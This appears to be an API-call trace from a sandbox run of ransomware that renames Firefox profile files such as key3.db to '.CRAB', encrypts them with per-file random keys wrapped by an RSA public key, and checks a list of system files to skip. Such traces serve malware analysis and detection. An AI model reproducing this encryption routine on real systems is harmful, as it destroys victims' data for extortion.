	[0121.467] WriteFile (in: hFile=0x3dc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x31489c4*=0x9b0, lpOverlapped=0x0) returned 1
	[0121.467] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.468] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.472] WriteFile (in: hFile=0x3dc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.472] WriteFile (in: hFile=0x3dc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.472] WriteFile (in: hFile=0x3dc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x31489c4*=0x8, lpOverlapped=0x0) returned 1
	[0121.472] CloseHandle (hObject=0x3dc) returned 1
	[0121.472] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.472] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.473] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.473] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.473] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.474] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0121.474] FindClose (in: hFindFile=0x3165d18 | out: hFindFile=0x3165d18) returned 1
	[0121.474] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.474] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.474] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt"
	[0121.474] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.474] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt") returned 112
	[0121.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt") returned 112
	[0121.474] lstrlenW (lpString=".txt") returned 4
	[0121.474] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.475] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.475] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt") returned 112
	[0121.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\CRAB-DECRYPT.txt") returned 112
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.476] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.476] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.476] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.476] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.476] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0121.476] FindClose (in: hFindFile=0x3165cd8 | out: hFindFile=0x3165cd8) returned 1
	[0121.476] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.476] lstrcmpW (lpString1="key3.db", lpString2=".") returned 1
	[0121.476] lstrcmpW (lpString1="key3.db", lpString2="..") returned 1
	[0121.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="key3.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db"
	[0121.476] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.479] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87
	[0121.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87
	[0121.479] lstrlenW (lpString=".db") returned 3
	[0121.479] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.480] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".db ") returned 4
	[0121.480] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87
	[0121.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87
	[0121.480] lstrcmpiW (lpString1="key3.db", lpString2="desktop.ini") returned 1
	[0121.480] lstrcmpiW (lpString1="key3.db", lpString2="autorun.inf") returned 1
	[0121.480] lstrcmpiW (lpString1="key3.db", lpString2="ntuser.dat") returned -1
	[0121.480] lstrcmpiW (lpString1="key3.db", lpString2="iconcache.db") returned 1
	[0121.480] lstrcmpiW (lpString1="key3.db", lpString2="bootsect.bak") returned 1
	[0121.481] lstrcmpiW (lpString1="key3.db", lpString2="boot.ini") returned 1
	[0121.481] lstrcmpiW (lpString1="key3.db", lpString2="ntuser.dat.log") returned -1
	[0121.481] lstrcmpiW (lpString1="key3.db", lpString2="thumbs.db") returned -1
	[0121.481] lstrcmpiW (lpString1="key3.db", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.481] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.481] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB") returned 92
	[0121.481] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db")) returned 0x20
	[0121.481] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db", dwFileAttributes=0x20) returned 1
	[0121.482] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db.crab")) returned 1
	[0121.483] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.483] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB"
	[0121.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB.CRAB"
	[0121.484] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.484] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.485] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.485] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.485] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.485] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.485] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.486] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.486] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.486] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.486] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.486] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.487] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.487] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.487] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0121.488] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165cd8) returned 1
	[0121.488] CryptGetKeyParam (in: hKey=0x3165cd8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.488] CryptEncrypt (in: hKey=0x3165cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.488] GetLastError () returned 0x0
	[0121.488] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.488] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0121.489] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165d18) returned 1
	[0121.489] CryptGetKeyParam (in: hKey=0x3165d18, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.489] CryptEncrypt (in: hKey=0x3165d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.489] GetLastError () returned 0x0
	[0121.489] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.489] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.490] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.491] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.491] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x4000, lpOverlapped=0x0) returned 1
	[0121.534] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.534] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.535] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.535] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffc000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.535] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x4000, lpOverlapped=0x0) returned 1
	[0121.536] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.536] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.540] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.540] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.540] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.540] CloseHandle (hObject=0x3e0) returned 1
	[0121.541] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.541] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.541] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.541] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.542] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.542] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.542] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.542] lstrcmpW (lpString1="kinto.sqlite", lpString2=".") returned 1
	[0121.542] lstrcmpW (lpString1="kinto.sqlite", lpString2="..") returned 1
	[0121.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="kinto.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite"
	[0121.542] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.543] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92
	[0121.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92
	[0121.543] lstrlenW (lpString=".sqlite") returned 7
	[0121.543] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.543] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0121.543] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92
	[0121.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="desktop.ini") returned 1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="autorun.inf") returned 1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="ntuser.dat") returned -1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="iconcache.db") returned 1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="bootsect.bak") returned 1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="boot.ini") returned 1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="ntuser.dat.log") returned -1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="thumbs.db") returned -1
	[0121.544] lstrcmpiW (lpString1="kinto.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.544] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.544] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB") returned 97
	[0121.544] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite")) returned 0x20
	[0121.545] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite", dwFileAttributes=0x20) returned 1
	[0121.546] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite.crab")) returned 1
	[0121.546] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.547] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB"
	[0121.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB.CRAB"
	[0121.547] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0121.548] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.548] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.548] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.548] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.548] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.549] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0121.549] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.550] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.550] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.550] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.550] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.550] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.550] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.551] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0121.551] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165858) returned 1
	[0121.551] CryptGetKeyParam (in: hKey=0x3165858, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.551] CryptEncrypt (in: hKey=0x3165858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.552] GetLastError () returned 0x0
	[0121.552] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.552] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0121.552] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165158) returned 1
	[0121.552] CryptGetKeyParam (in: hKey=0x3165158, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.553] CryptEncrypt (in: hKey=0x3165158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.553] GetLastError () returned 0x0
	[0121.553] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
